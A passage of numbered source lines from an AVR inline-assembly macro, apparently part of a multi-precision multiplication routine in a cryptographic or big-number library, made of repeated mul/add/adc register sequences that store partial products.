5412 "mul r7, r20 \n\t" \
5413 "add r22, r0 \n\t" \
5414 "adc r23, r1 \n\t" \
5415 "adc r24, r25 \n\t" \
5416 "mul r8, r19 \n\t" \
5417 "add r22, r0 \n\t" \
5418 "adc r23, r1 \n\t" \
5419 "adc r24, r25 \n\t" \
5420 "mul r9, r18 \n\t" \
5421 "add r22, r0 \n\t" \
5422 "adc r23, r1 \n\t" \
5423 "adc r24, r25 \n\t" \
5424 "mul r10, r17 \n\t" \
5425 "add r22, r0 \n\t" \
5426 "adc r23, r1 \n\t" \
5427 "adc r24, r25 \n\t" \
5428 "mul r11, r16 \n\t" \
5429 "add r22, r0 \n\t" \
5430 "adc r23, r1 \n\t" \
5431 "adc r24, r25 \n\t" \
5432 "mul r2, r15 \n\t" \
5433 "add r22, r0 \n\t" \
5434 "adc r23, r1 \n\t" \
5435 "adc r24, r25 \n\t" \
5436 "mul r3, r14 \n\t" \
5437 "add r22, r0 \n\t" \
5438 "adc r23, r1 \n\t" \
5439 "adc r24, r25 \n\t" \
5440 "mul r4, r13 \n\t" \
5441 "add r22, r0 \n\t" \
5442 "adc r23, r1 \n\t" \
5443 "adc r24, r25 \n\t" \
5444 "mul r5, r12 \n\t" \
5445 "add r22, r0 \n\t" \
5446 "adc r23, r1 \n\t" \
5447 "adc r24, r25 \n\t" \
5448 "ld r0, z \n\t" \
5449 "add r22, r0 \n\t" \
5450 "adc r23, r25 \n\t" \
5451 "adc r24, r25 \n\t" \
5452 "st z+, r22 \n\t" \
5453 \
5454 "ld r6, x+ \n\t" \
5455 "ldi r22, 0 \n\t" \
5456 "mul r7, r21 \n\t" \
5457 "add r23, r0 \n\t" \
5458 "adc r24, r1 \n\t" \
5459 "adc r22, r25 \n\t" \
5460 "mul r8, r20 \n\t" \
5461 "add r23, r0 \n\t" \
5462 "adc r24, r1 \n\t" \
5463 "adc r22, r25 \n\t" \
5464 "mul r9, r19 \n\t" \
5465 "add r23, r0 \n\t" \
5466 "adc r24, r1 \n\t" \
5467 "adc r22, r25 \n\t" \
5468 "mul r10, r18 \n\t" \
5469 "add r23, r0 \n\t" \
5470 "adc r24, r1 \n\t" \
5471 "adc r22, r25 \n\t" \
5472 "mul r11, r17 \n\t" \
5473 "add r23, r0 \n\t" \
5474 "adc r24, r1 \n\t" \
5475 "adc r22, r25 \n\t" \
5476 "mul r2, r16 \n\t" \
5477 "add r23, r0 \n\t" \
5478 "adc r24, r1 \n\t" \
5479 "adc r22, r25 \n\t" \
5480 "mul r3, r15 \n\t" \
5481 "add r23, r0 \n\t" \
5482 "adc r24, r1 \n\t" \
5483 "adc r22, r25 \n\t" \
5484 "mul r4, r14 \n\t" \
5485 "add r23, r0 \n\t" \
5486 "adc r24, r1 \n\t" \
5487 "adc r22, r25 \n\t" \
5488 "mul r5, r13 \n\t" \
5489 "add r23, r0 \n\t" \
5490 "adc r24, r1 \n\t" \
5491 "adc r22, r25 \n\t" \
5492 "mul r6, r12 \n\t" \
5493 "add r23, r0 \n\t" \
5494 "adc r24, r1 \n\t" \
5495 "adc r22, r25 \n\t" \
5496 "ld r0, z \n\t" \
5497 "add r23, r0 \n\t" \
5498 "adc r24, r25 \n\t" \
5499 "adc r22, r25 \n\t" \
5500 "st z+, r23 \n\t" \
5501 \
5502 "ld r7, x+ \n\t" \
5503 "ldi r23, 0 \n\t" \
5504 "mul r8, r21 \n\t" \
5505 "add r24, r0 \n\t" \
5506 "adc r22, r1 \n\t" \
5507 "adc r23, r25 \n\t" \
5508 "mul r9, r20 \n\t" \
5509 "add r24, r0 \n\t" \
5510 "adc r22, r1 \n\t" \
5511 "adc r23, r25 \n\t" \
5512 "mul r10, r19 \n\t" \
5513 "add r24, r0 \n\t" \
5514 "adc r22, r1 \n\t" \
5515 "adc r23, r25 \n\t" \
5516 "mul r11, r18 \n\t" \
5517 "add r24, r0 \n\t" \
5518 "adc r22, r1 \n\t" \
5519 "adc r23, r25 \n\t" \
5520 "mul r2, r17 \n\t" \
5521 "add r24, r0 \n\t" \
5522 "adc r22, r1 \n\t" \
5523 "adc r23, r25 \n\t" \
5524 "mul r3, r16 \n\t" \
5525 "add r24, r0 \n\t" \
5526 "adc r22, r1 \n\t" \
5527 "adc r23, r25 \n\t" \
5528 "mul r4, r15 \n\t" \
5529 "add r24, r0 \n\t" \
5530 "adc r22, r1 \n\t" \
5531 "adc r23, r25 \n\t" \
5532 "mul r5, r14 \n\t" \
5533 "add r24, r0 \n\t" \
5534 "adc r22, r1 \n\t" \
5535 "adc r23, r25 \n\t" \
5536 "mul r6, r13 \n\t" \
5537 "add r24, r0 \n\t" \
5538 "adc r22, r1 \n\t" \
5539 "adc r23, r25 \n\t" \
5540 "mul r7, r12 \n\t" \
5541 "add r24, r0 \n\t" \
5542 "adc r22, r1 \n\t" \
5543 "adc r23, r25 \n\t" \
5544 "ld r0, z \n\t" \
5545 "add r24, r0 \n\t" \
5546 "adc r22, r25 \n\t" \
5547 "adc r23, r25 \n\t" \
5548 "st z+, r24 \n\t" \
5549 \
5550 "ld r8, x+ \n\t" \
5551 "ldi r24, 0 \n\t" \
5552 "mul r9, r21 \n\t" \
5553 "add r22, r0 \n\t" \
5554 "adc r23, r1 \n\t" \
5555 "adc r24, r25 \n\t" \
5556 "mul r10, r20 \n\t" \
5557 "add r22, r0 \n\t" \
5558 "adc r23, r1 \n\t" \
5559 "adc r24, r25 \n\t" \
5560 "mul r11, r19 \n\t" \
5561 "add r22, r0 \n\t" \
5562 "adc r23, r1 \n\t" \
5563 "adc r24, r25 \n\t" \
5564 "mul r2, r18 \n\t" \
5565 "add r22, r0 \n\t" \
5566 "adc r23, r1 \n\t" \
5567 "adc r24, r25 \n\t" \
5568 "mul r3, r17 \n\t" \
5569 "add r22, r0 \n\t" \
5570 "adc r23, r1 \n\t" \
5571 "adc r24, r25 \n\t" \
5572 "mul r4, r16 \n\t" \
5573 "add r22, r0 \n\t" \
5574 "adc r23, r1 \n\t" \
5575 "adc r24, r25 \n\t" \
5576 "mul r5, r15 \n\t" \
5577 "add r22, r0 \n\t" \
5578 "adc r23, r1 \n\t" \
5579 "adc r24, r25 \n\t" \
5580 "mul r6, r14 \n\t" \
5581 "add r22, r0 \n\t" \
5582 "adc r23, r1 \n\t" \
5583 "adc r24, r25 \n\t" \
5584 "mul r7, r13 \n\t" \
5585 "add r22, r0 \n\t" \
5586 "adc r23, r1 \n\t" \
5587 "adc r24, r25 \n\t" \
5588 "mul r8, r12 \n\t" \
5589 "add r22, r0 \n\t" \
5590 "adc r23, r1 \n\t" \
5591 "adc r24, r25 \n\t" \
5592 "ld r0, z \n\t" \
5593 "add r22, r0 \n\t" \
5594 "adc r23, r25 \n\t" \
5595 "adc r24, r25 \n\t" \
5596 "st z+, r22 \n\t" \
5597 \
5598 "ld r9, x+ \n\t" \
5599 "ldi r22, 0 \n\t" \
5600 "mul r10, r21 \n\t" \
5601 "add r23, r0 \n\t" \
5602 "adc r24, r1 \n\t" \
5603 "adc r22, r25 \n\t" \
5604 "mul r11, r20 \n\t" \
5605 "add r23, r0 \n\t" \
5606 "adc r24, r1 \n\t" \
5607 "adc r22, r25 \n\t" \
5608 "mul r2, r19 \n\t" \
5609 "add r23, r0 \n\t" \
5610 "adc r24, r1 \n\t" \
5611 "adc r22, r25 \n\t" \
5612 "mul r3, r18 \n\t" \
5613 "add r23, r0 \n\t" \
5614 "adc r24, r1 \n\t" \
5615 "adc r22, r25 \n\t" \
5616 "mul r4, r17 \n\t" \
5617 "add r23, r0 \n\t" \
5618 "adc r24, r1 \n\t" \
5619 "adc r22, r25 \n\t" \
5620 "mul r5, r16 \n\t" \
5621 "add r23, r0 \n\t" \
5622 "adc r24, r1 \n\t" \
5623 "adc r22, r25 \n\t" \
5624 "mul r6, r15 \n\t" \
5625 "add r23, r0 \n\t" \
5626 "adc r24, r1 \n\t" \
5627 "adc r22, r25 \n\t" \
5628 "mul r7, r14 \n\t" \
5629 "add r23, r0 \n\t" \
5630 "adc r24, r1 \n\t" \
5631 "adc r22, r25 \n\t" \
5632 "mul r8, r13 \n\t" \
5633 "add r23, r0 \n\t" \
5634 "adc r24, r1 \n\t" \
5635 "adc r22, r25 \n\t" \
5636 "mul r9, r12 \n\t" \
5637 "add r23, r0 \n\t" \
5638 "adc r24, r1 \n\t" \
5639 "adc r22, r25 \n\t" \
5640 "ld r0, z \n\t" \
5641 "add r23, r0 \n\t" \
5642 "adc r24, r25 \n\t" \
5643 "adc r22, r25 \n\t" \
5644 "st z+, r23 \n\t" \
5645 \
5646 "ld r12, y+ \n\t" \
5647 "ldi r23, 0 \n\t" \
5648 "mul r10, r12 \n\t" \
5649 "add r24, r0 \n\t" \
5650 "adc r22, r1 \n\t" \
5651 "adc r23, r25 \n\t" \
5652 "mul r11, r21 \n\t" \
5653 "add r24, r0 \n\t" \
5654 "adc r22, r1 \n\t" \
5655 "adc r23, r25 \n\t" \
5656 "mul r2, r20 \n\t" \
5657 "add r24, r0 \n\t" \
5658 "adc r22, r1 \n\t" \
5659 "adc r23, r25 \n\t" \
5660 "mul r3, r19 \n\t" \
5661 "add r24, r0 \n\t" \
5662 "adc r22, r1 \n\t" \
5663 "adc r23, r25 \n\t" \
5664 "mul r4, r18 \n\t" \
5665 "add r24, r0 \n\t" \
5666 "adc r22, r1 \n\t" \
5667 "adc r23, r25 \n\t" \
5668 "mul r5, r17 \n\t" \
5669 "add r24, r0 \n\t" \
5670 "adc r22, r1 \n\t" \
5671 "adc r23, r25 \n\t" \
5672 "mul r6, r16 \n\t" \
5673 "add r24, r0 \n\t" \
5674 "adc r22, r1 \n\t" \
5675 "adc r23, r25 \n\t" \
5676 "mul r7, r15 \n\t" \
5677 "add r24, r0 \n\t" \
5678 "adc r22, r1 \n\t" \
5679 "adc r23, r25 \n\t" \
5680 "mul r8, r14 \n\t" \
5681 "add r24, r0 \n\t" \
5682 "adc r22, r1 \n\t" \
5683 "adc r23, r25 \n\t" \
5684 "mul r9, r13 \n\t" \
5685 "add r24, r0 \n\t" \
5686 "adc r22, r1 \n\t" \
5687 "adc r23, r25 \n\t" \
5688 "ld r0, z \n\t" \
5689 "add r24, r0 \n\t" \
5690 "adc r22, r25 \n\t" \
5691 "adc r23, r25 \n\t" \
5692 "st z+, r24 \n\t" \
5693 \
5694 "ld r13, y+ \n\t" \
5695 "ldi r24, 0 \n\t" \
5696 "mul r10, r13 \n\t" \
5697 "add r22, r0 \n\t" \
5698 "adc r23, r1 \n\t" \
5699 "adc r24, r25 \n\t" \
5700 "mul r11, r12 \n\t" \
5701 "add r22, r0 \n\t" \
5702 "adc r23, r1 \n\t" \
5703 "adc r24, r25 \n\t" \
5704 "mul r2, r21 \n\t" \
5705 "add r22, r0 \n\t" \
5706 "adc r23, r1 \n\t" \
5707 "adc r24, r25 \n\t" \
5708 "mul r3, r20 \n\t" \
5709 "add r22, r0 \n\t" \
5710 "adc r23, r1 \n\t" \
5711 "adc r24, r25 \n\t" \
5712 "mul r4, r19 \n\t" \
5713 "add r22, r0 \n\t" \
5714 "adc r23, r1 \n\t" \
5715 "adc r24, r25 \n\t" \
5716 "mul r5, r18 \n\t" \
5717 "add r22, r0 \n\t" \
5718 "adc r23, r1 \n\t" \
5719 "adc r24, r25 \n\t" \
5720 "mul r6, r17 \n\t" \
5721 "add r22, r0 \n\t" \
5722 "adc r23, r1 \n\t" \
5723 "adc r24, r25 \n\t" \
5724 "mul r7, r16 \n\t" \
5725 "add r22, r0 \n\t" \
5726 "adc r23, r1 \n\t" \
5727 "adc r24, r25 \n\t" \
5728 "mul r8, r15 \n\t" \
5729 "add r22, r0 \n\t" \
5730 "adc r23, r1 \n\t" \
5731 "adc r24, r25 \n\t" \
5732 "mul r9, r14 \n\t" \
5733 "add r22, r0 \n\t" \
5734 "adc r23, r1 \n\t" \
5735 "adc r24, r25 \n\t" \
5736 "ld r0, z \n\t" \
5737 "add r22, r0 \n\t" \
5738 "adc r23, r25 \n\t" \
5739 "adc r24, r25 \n\t" \
5740 "st z+, r22 \n\t" \
5741 \
5742 "ld r14, y+ \n\t" \
5743 "ldi r22, 0 \n\t" \
5744 "mul r10, r14 \n\t" \
5745 "add r23, r0 \n\t" \
5746 "adc r24, r1 \n\t" \
5747 "adc r22, r25 \n\t" \
5748 "mul r11, r13 \n\t" \
5749 "add r23, r0 \n\t" \
5750 "adc r24, r1 \n\t" \
5751 "adc r22, r25 \n\t" \
5752 "mul r2, r12 \n\t" \
5753 "add r23, r0 \n\t" \
5754 "adc r24, r1 \n\t" \
5755 "adc r22, r25 \n\t" \
5756 "mul r3, r21 \n\t" \
5757 "add r23, r0 \n\t" \
5758 "adc r24, r1 \n\t" \
5759 "adc r22, r25 \n\t" \
5760 "mul r4, r20 \n\t" \
5761 "add r23, r0 \n\t" \
5762 "adc r24, r1 \n\t" \
5763 "adc r22, r25 \n\t" \
5764 "mul r5, r19 \n\t" \
5765 "add r23, r0 \n\t" \
5766 "adc r24, r1 \n\t" \
5767 "adc r22, r25 \n\t" \
5768 "mul r6, r18 \n\t" \
5769 "add r23, r0 \n\t" \
5770 "adc r24, r1 \n\t" \
5771 "adc r22, r25 \n\t" \
5772 "mul r7, r17 \n\t" \
5773 "add r23, r0 \n\t" \
5774 "adc r24, r1 \n\t" \
5775 "adc r22, r25 \n\t" \
5776 "mul r8, r16 \n\t" \
5777 "add r23, r0 \n\t" \
5778 "adc r24, r1 \n\t" \
5779 "adc r22, r25 \n\t" \
5780 "mul r9, r15 \n\t" \
5781 "add r23, r0 \n\t" \
5782 "adc r24, r1 \n\t" \
5783 "adc r22, r25 \n\t" \
5784 "ld r0, z \n\t" \
5785 "add r23, r0 \n\t" \
5786 "adc r24, r25 \n\t" \
5787 "adc r22, r25 \n\t" \
5788 "st z+, r23 \n\t" \
5789 \
5790 "ld r15, y+ \n\t" \
5791 "ldi r23, 0 \n\t" \
5792 "mul r10, r15 \n\t" \
5793 "add r24, r0 \n\t" \
5794 "adc r22, r1 \n\t" \
5795 "adc r23, r25 \n\t" \
5796 "mul r11, r14 \n\t" \
5797 "add r24, r0 \n\t" \
5798 "adc r22, r1 \n\t" \
5799 "adc r23, r25 \n\t" \
5800 "mul r2, r13 \n\t" \
5801 "add r24, r0 \n\t" \
5802 "adc r22, r1 \n\t" \
5803 "adc r23, r25 \n\t" \
5804 "mul r3, r12 \n\t" \
5805 "add r24, r0 \n\t" \
5806 "adc r22, r1 \n\t" \
5807 "adc r23, r25 \n\t" \
5808 "mul r4, r21 \n\t" \
5809 "add r24, r0 \n\t" \
5810 "adc r22, r1 \n\t" \
5811 "adc r23, r25 \n\t" \
5812 "mul r5, r20 \n\t" \
5813 "add r24, r0 \n\t" \
5814 "adc r22, r1 \n\t" \
5815 "adc r23, r25 \n\t" \
5816 "mul r6, r19 \n\t" \
5817 "add r24, r0 \n\t" \
5818 "adc r22, r1 \n\t" \
5819 "adc r23, r25 \n\t" \
5820 "mul r7, r18 \n\t" \
5821 "add r24, r0 \n\t" \
5822 "adc r22, r1 \n\t" \
5823 "adc r23, r25 \n\t" \
5824 "mul r8, r17 \n\t" \
5825 "add r24, r0 \n\t" \
5826 "adc r22, r1 \n\t" \
5827 "adc r23, r25 \n\t" \
5828 "mul r9, r16 \n\t" \
5829 "add r24, r0 \n\t" \
5830 "adc r22, r1 \n\t" \
5831 "adc r23, r25 \n\t" \
5832 "ld r0, z \n\t" \
5833 "add r24, r0 \n\t" \
5834 "adc r22, r25 \n\t" \
5835 "adc r23, r25 \n\t" \
5836 "st z+, r24 \n\t" \
5837 \
5838 "ld r16, y+ \n\t" \
5839 "ldi r24, 0 \n\t" \
5840 "mul r10, r16 \n\t" \
5841 "add r22, r0 \n\t" \
5842 "adc r23, r1 \n\t" \
5843 "adc r24, r25 \n\t" \
5844 "mul r11, r15 \n\t" \
5845 "add r22, r0 \n\t" \
5846 "adc r23, r1 \n\t" \
5847 "adc r24, r25 \n\t" \
5848 "mul r2, r14 \n\t" \
5849 "add r22, r0 \n\t" \
5850 "adc r23, r1 \n\t" \
5851 "adc r24, r25 \n\t" \
5852 "mul r3, r13 \n\t" \
5853 "add r22, r0 \n\t" \
5854 "adc r23, r1 \n\t" \
5855 "adc r24, r25 \n\t" \
5856 "mul r4, r12 \n\t" \
5857 "add r22, r0 \n\t" \
5858 "adc r23, r1 \n\t" \
5859 "adc r24, r25 \n\t" \
5860 "mul r5, r21 \n\t" \
5861 "add r22, r0 \n\t" \
5862 "adc r23, r1 \n\t" \
5863 "adc r24, r25 \n\t" \
5864 "mul r6, r20 \n\t" \
5865 "add r22, r0 \n\t" \
5866 "adc r23, r1 \n\t" \
5867 "adc r24, r25 \n\t" \
5868 "mul r7, r19 \n\t" \
5869 "add r22, r0 \n\t" \
5870 "adc r23, r1 \n\t" \
5871 "adc r24, r25 \n\t" \
5872 "mul r8, r18 \n\t" \
5873 "add r22, r0 \n\t" \
5874 "adc r23, r1 \n\t" \
5875 "adc r24, r25 \n\t" \
5876 "mul r9, r17 \n\t" \
5877 "add r22, r0 \n\t" \
5878 "adc r23, r1 \n\t" \
5879 "adc r24, r25 \n\t" \
5880 "ld r0, z \n\t" \
5881 "add r22, r0 \n\t" \
5882 "adc r23, r25 \n\t" \
5883 "adc r24, r25 \n\t" \
5884 "st z+, r22 \n\t" \
5885 \
5886 "ld r17, y+ \n\t" \
5887 "ldi r22, 0 \n\t" \
5888 "mul r10, r17 \n\t" \
5889 "add r23, r0 \n\t" \
5890 "adc r24, r1 \n\t" \
5891 "adc r22, r25 \n\t" \
5892 "mul r11, r16 \n\t" \
5893 "add r23, r0 \n\t" \
5894 "adc r24, r1 \n\t" \
5895 "adc r22, r25 \n\t" \
5896 "mul r2, r15 \n\t" \
5897 "add r23, r0 \n\t" \
5898 "adc r24, r1 \n\t" \
5899 "adc r22, r25 \n\t" \
5900 "mul r3, r14 \n\t" \
5901 "add r23, r0 \n\t" \
5902 "adc r24, r1 \n\t" \
5903 "adc r22, r25 \n\t" \
5904 "mul r4, r13 \n\t" \
5905 "add r23, r0 \n\t" \
5906 "adc r24, r1 \n\t" \
5907 "adc r22, r25 \n\t" \
5908 "mul r5, r12 \n\t" \
5909 "add r23, r0 \n\t" \
5910 "adc r24, r1 \n\t" \
5911 "adc r22, r25 \n\t" \
5912 "mul r6, r21 \n\t" \
5913 "add r23, r0 \n\t" \
5914 "adc r24, r1 \n\t" \
5915 "adc r22, r25 \n\t" \
5916 "mul r7, r20 \n\t" \
5917 "add r23, r0 \n\t" \
5918 "adc r24, r1 \n\t" \
5919 "adc r22, r25 \n\t" \
5920 "mul r8, r19 \n\t" \
5921 "add r23, r0 \n\t" \
5922 "adc r24, r1 \n\t" \
5923 "adc r22, r25 \n\t" \
5924 "mul r9, r18 \n\t" \
5925 "add r23, r0 \n\t" \
5926 "adc r24, r1 \n\t" \
5927 "adc r22, r25 \n\t" \
5928 "ld r0, z \n\t" \
5929 "add r23, r0 \n\t" \
5930 "adc r24, r25 \n\t" \
5931 "adc r22, r25 \n\t" \
5932 "st z+, r23 \n\t" \
5933 \
5934 "ld r18, y+ \n\t" \
5935 "ldi r23, 0 \n\t" \
5936 "mul r10, r18 \n\t" \
5937 "add r24, r0 \n\t" \
5938 "adc r22, r1 \n\t" \
5939 "adc r23, r25 \n\t" \
5940 "mul r11, r17 \n\t" \
5941 "add r24, r0 \n\t" \
5942 "adc r22, r1 \n\t" \
5943 "adc r23, r25 \n\t" \
5944 "mul r2, r16 \n\t" \
5945 "add r24, r0 \n\t" \
5946 "adc r22, r1 \n\t" \
5947 "adc r23, r25 \n\t" \
5948 "mul r3, r15 \n\t" \
5949 "add r24, r0 \n\t" \
5950 "adc r22, r1 \n\t" \
5951 "adc r23, r25 \n\t" \
5952 "mul r4, r14 \n\t" \
5953 "add r24, r0 \n\t" \
5954 "adc r22, r1 \n\t" \
5955 "adc r23, r25 \n\t" \
5956 "mul r5, r13 \n\t" \
5957 "add r24, r0 \n\t" \
5958 "adc r22, r1 \n\t" \
5959 "adc r23, r25 \n\t" \
5960 "mul r6, r12 \n\t" \
5961 "add r24, r0 \n\t" \
5962 "adc r22, r1 \n\t" \
5963 "adc r23, r25 \n\t" \
5964 "mul r7, r21 \n\t" \
5965 "add r24, r0 \n\t" \
5966 "adc r22, r1 \n\t" \
5967 "adc r23, r25 \n\t" \
5968 "mul r8, r20 \n\t" \
5969 "add r24, r0 \n\t" \
5970 "adc r22, r1 \n\t" \
5971 "adc r23, r25 \n\t" \
5972 "mul r9, r19 \n\t" \
5973 "add r24, r0 \n\t" \
5974 "adc r22, r1 \n\t" \
5975 "adc r23, r25 \n\t" \
5976 "ld r0, z \n\t" \
5977 "add r24, r0 \n\t" \
5978 "adc r22, r25 \n\t" \
5979 "adc r23, r25 \n\t" \
5980 "st z+, r24 \n\t" \
5981 \
5982 "ld r19, y+ \n\t" \
5983 "ldi r24, 0 \n\t" \
5984 "mul r10, r19 \n\t" \
5985 "add r22, r0 \n\t" \
5986 "adc r23, r1 \n\t" \
5987 "adc r24, r25 \n\t" \
5988 "mul r11, r18 \n\t" \
5989 "add r22, r0 \n\t" \
5990 "adc r23, r1 \n\t" \
5991 "adc r24, r25 \n\t" \
5992 "mul r2, r17 \n\t" \
5993 "add r22, r0 \n\t" \
5994 "adc r23, r1 \n\t" \
5995 "adc r24, r25 \n\t" \
5996 "mul r3, r16 \n\t" \
5997 "add r22, r0 \n\t" \
5998 "adc r23, r1 \n\t" \
5999 "adc r24, r25 \n\t" \
6000 "mul r4, r15 \n\t" \
6001 "add r22, r0 \n\t" \
6002 "adc r23, r1 \n\t" \
6003 "adc r24, r25 \n\t" \
6004 "mul r5, r14 \n\t" \
6005 "add r22, r0 \n\t" \
6006 "adc r23, r1 \n\t" \
6007 "adc r24, r25 \n\t" \
6008 "mul r6, r13 \n\t" \
6009 "add r22, r0 \n\t" \
6010 "adc r23, r1 \n\t" \
6011 "adc r24, r25 \n\t" \
6012 "mul r7, r12 \n\t" \
6013 "add r22, r0 \n\t" \
6014 "adc r23, r1 \n\t" \
6015 "adc r24, r25 \n\t" \
6016 "mul r8, r21 \n\t" \
6017 "add r22, r0 \n\t" \
6018 "adc r23, r1 \n\t" \
6019 "adc r24, r25 \n\t" \
6020 "mul r9, r20 \n\t" \
6021 "add r22, r0 \n\t" \
6022 "adc r23, r1 \n\t" \
6023 "adc r24, r25 \n\t" \
6024 "ld r0, z \n\t" \
6025 "add r22, r0 \n\t" \
6026 "adc r23, r25 \n\t" \
6027 "adc r24, r25 \n\t" \
6028 "st z+, r22 \n\t" \
6029 \
6030 "ldi r22, 0 \n\t" \
6031 "mul r11, r19 \n\t" \
6032 "add r23, r0 \n\t" \
6033 "adc r24, r1 \n\t" \
6034 "adc r22, r25 \n\t" \
6035 "mul r2, r18 \n\t" \
6036 "add r23, r0 \n\t" \
6037 "adc r24, r1 \n\t" \
6038 "adc r22, r25 \n\t" \
6039 "mul r3, r17 \n\t" \
6040 "add r23, r0 \n\t" \
6041 "adc r24, r1 \n\t" \
6042 "adc r22, r25 \n\t" \
6043 "mul r4, r16 \n\t" \
6044 "add r23, r0 \n\t" \
6045 "adc r24, r1 \n\t" \
6046 "adc r22, r25 \n\t" \
6047 "mul r5, r15 \n\t" \
6048 "add r23, r0 \n\t" \
6049 "adc r24, r1 \n\t" \
6050 "adc r22, r25 \n\t" \
6051 "mul r6, r14 \n\t" \
6052 "add r23, r0 \n\t" \
6053 "adc r24, r1 \n\t" \
6054 "adc r22, r25 \n\t" \
6055 "mul r7, r13 \n\t" \
6056 "add r23, r0 \n\t" \
6057 "adc r24, r1 \n\t" \
6058 "adc r22, r25 \n\t" \
6059 "mul r8, r12 \n\t" \
6060 "add r23, r0 \n\t" \
6061 "adc r24, r1 \n\t" \
6062 "adc r22, r25 \n\t" \
6063 "mul r9, r21 \n\t" \
6064 "add r23, r0 \n\t" \
6065 "adc r24, r1 \n\t" \
6066 "adc r22, r25 \n\t" \
6067 "st z+, r23 \n\t" \
6068 \
6069 "ldi r23, 0 \n\t" \
6070 "mul r2, r19 \n\t" \
6071 "add r24, r0 \n\t" \
6072 "adc r22, r1 \n\t" \
6073 "adc r23, r25 \n\t" \
6074 "mul r3, r18 \n\t" \
6075 "add r24, r0 \n\t" \
6076 "adc r22, r1 \n\t" \
6077 "adc r23, r25 \n\t" \
6078 "mul r4, r17 \n\t" \
6079 "add r24, r0 \n\t" \
6080 "adc r22, r1 \n\t" \
6081 "adc r23, r25 \n\t" \
6082 "mul r5, r16 \n\t" \
6083 "add r24, r0 \n\t" \
6084 "adc r22, r1 \n\t" \
6085 "adc r23, r25 \n\t" \
6086 "mul r6, r15 \n\t" \
6087 "add r24, r0 \n\t" \
6088 "adc r22, r1 \n\t" \
6089 "adc r23, r25 \n\t" \
6090 "mul r7, r14 \n\t" \
6091 "add r24, r0 \n\t" \
6092 "adc r22, r1 \n\t" \
6093 "adc r23, r25 \n\t" \
6094 "mul r8, r13 \n\t" \
6095 "add r24, r0 \n\t" \
6096 "adc r22, r1 \n\t" \
6097 "adc r23, r25 \n\t" \
6098 "mul r9, r12 \n\t" \
6099 "add r24, r0 \n\t" \
6100 "adc r22, r1 \n\t" \
6101 "adc r23, r25 \n\t" \
6102 "st z+, r24 \n\t" \
6103 \
6104 "ldi r24, 0 \n\t" \
6105 "mul r3, r19 \n\t" \
6106 "add r22, r0 \n\t" \
6107 "adc r23, r1 \n\t" \
6108 "adc r24, r25 \n\t" \
6109 "mul r4, r18 \n\t" \
6110 "add r22, r0 \n\t" \
6111 "adc r23, r1 \n\t" \
6112 "adc r24, r25 \n\t" \
6113 "mul r5, r17 \n\t" \
6114 "add r22, r0 \n\t" \
6115 "adc r23, r1 \n\t" \
6116 "adc r24, r25 \n\t" \
6117 "mul r6, r16 \n\t" \
6118 "add r22, r0 \n\t" \
6119 "adc r23, r1 \n\t" \
6120 "adc r24, r25 \n\t" \
6121 "mul r7, r15 \n\t" \
6122 "add r22, r0 \n\t" \
6123 "adc r23, r1 \n\t" \
6124 "adc r24, r25 \n\t" \
6125 "mul r8, r14 \n\t" \
6126 "add r22, r0 \n\t" \
6127 "adc r23, r1 \n\t" \
6128 "adc r24, r25 \n\t" \
6129 "mul r9, r13 \n\t" \
6130 "add r22, r0 \n\t" \
6131 "adc r23, r1 \n\t" \
6132 "adc r24, r25 \n\t" \
6133 "st z+, r22 \n\t" \
6134 \
6135 "ldi r22, 0 \n\t" \
6136 "mul r4, r19 \n\t" \
6137 "add r23, r0 \n\t" \
6138 "adc r24, r1 \n\t" \
6139 "adc r22, r25 \n\t" \
6140 "mul r5, r18 \n\t" \
6141 "add r23, r0 \n\t" \
6142 "adc r24, r1 \n\t" \
6143 "adc r22, r25 \n\t" \
6144 "mul r6, r17 \n\t" \
6145 "add r23, r0 \n\t" \
6146 "adc r24, r1 \n\t" \
6147 "adc r22, r25 \n\t" \
6148 "mul r7, r16 \n\t" \
6149 "add r23, r0 \n\t" \
6150 "adc r24, r1 \n\t" \
6151 "adc r22, r25 \n\t" \
6152 "mul r8, r15 \n\t" \
6153 "add r23, r0 \n\t" \
6154 "adc r24, r1 \n\t" \
6155 "adc r22, r25 \n\t" \
6156 "mul r9, r14 \n\t" \
6157 "add r23, r0 \n\t" \
6158 "adc r24, r1 \n\t" \
6159 "adc r22, r25 \n\t" \
6160 "st z+, r23 \n\t" \
6161 \
6162 "ldi r23, 0 \n\t" \
6163 "mul r5, r19 \n\t" \
6164 "add r24, r0 \n\t" \
6165 "adc r22, r1 \n\t" \
6166 "adc r23, r25 \n\t" \
6167 "mul r6, r18 \n\t" \
6168 "add r24, r0 \n\t" \
6169 "adc r22, r1 \n\t" \
6170 "adc r23, r25 \n\t" \
6171 "mul r7, r17 \n\t" \
6172 "add r24, r0 \n\t" \
6173 "adc r22, r1 \n\t" \
6174 "adc r23, r25 \n\t" \
6175 "mul r8, r16 \n\t" \
6176 "add r24, r0 \n\t" \
6177 "adc r22, r1 \n\t" \
6178 "adc r23, r25 \n\t" \
6179 "mul r9, r15 \n\t" \
6180 "add r24, r0 \n\t" \
6181 "adc r22, r1 \n\t" \
6182 "adc r23, r25 \n\t" \
6183 "st z+, r24 \n\t" \
6184 \
6185 "ldi r24, 0 \n\t" \
6186 "mul r6, r19 \n\t" \
6187 "add r22, r0 \n\t" \
6188 "adc r23, r1 \n\t" \
6189 "adc r24, r25 \n\t" \
6190 "mul r7, r18 \n\t" \
6191 "add r22, r0 \n\t" \
6192 "adc r23, r1 \n\t" \
6193 "adc r24, r25 \n\t" \
6194 "mul r8, r17 \n\t" \
6195 "add r22, r0 \n\t" \
6196 "adc r23, r1 \n\t" \
6197 "adc r24, r25 \n\t" \
6198 "mul r9, r16 \n\t" \
6199 "add r22, r0 \n\t" \
6200 "adc r23, r1 \n\t" \
6201 "adc r24, r25 \n\t" \
6202 "st z+, r22 \n\t" \
6203 \
6204 "ldi r22, 0 \n\t" \
6205 "mul r7, r19 \n\t" \
6206 "add r23, r0 \n\t" \
6207 "adc r24, r1 \n\t" \
6208 "adc r22, r25 \n\t" \
6209 "mul r8, r18 \n\t" \
6210 "add r23, r0 \n\t" \
6211 "adc r24, r1 \n\t" \
6212 "adc r22, r25 \n\t" \
6213 "mul r9, r17 \n\t" \
6214 "add r23, r0 \n\t" \
6215 "adc r24, r1 \n\t" \
6216 "adc r22, r25 \n\t" \
6217 "st z+, r23 \n\t" \
6218 \
6219 "ldi r23, 0 \n\t" \
6220 "mul r8, r19 \n\t" \
6221 "add r24, r0 \n\t" \
6222 "adc r22, r1 \n\t" \
6223 "adc r23, r25 \n\t" \
6224 "mul r9, r18 \n\t" \
6225 "add r24, r0 \n\t" \
6226 "adc r22, r1 \n\t" \
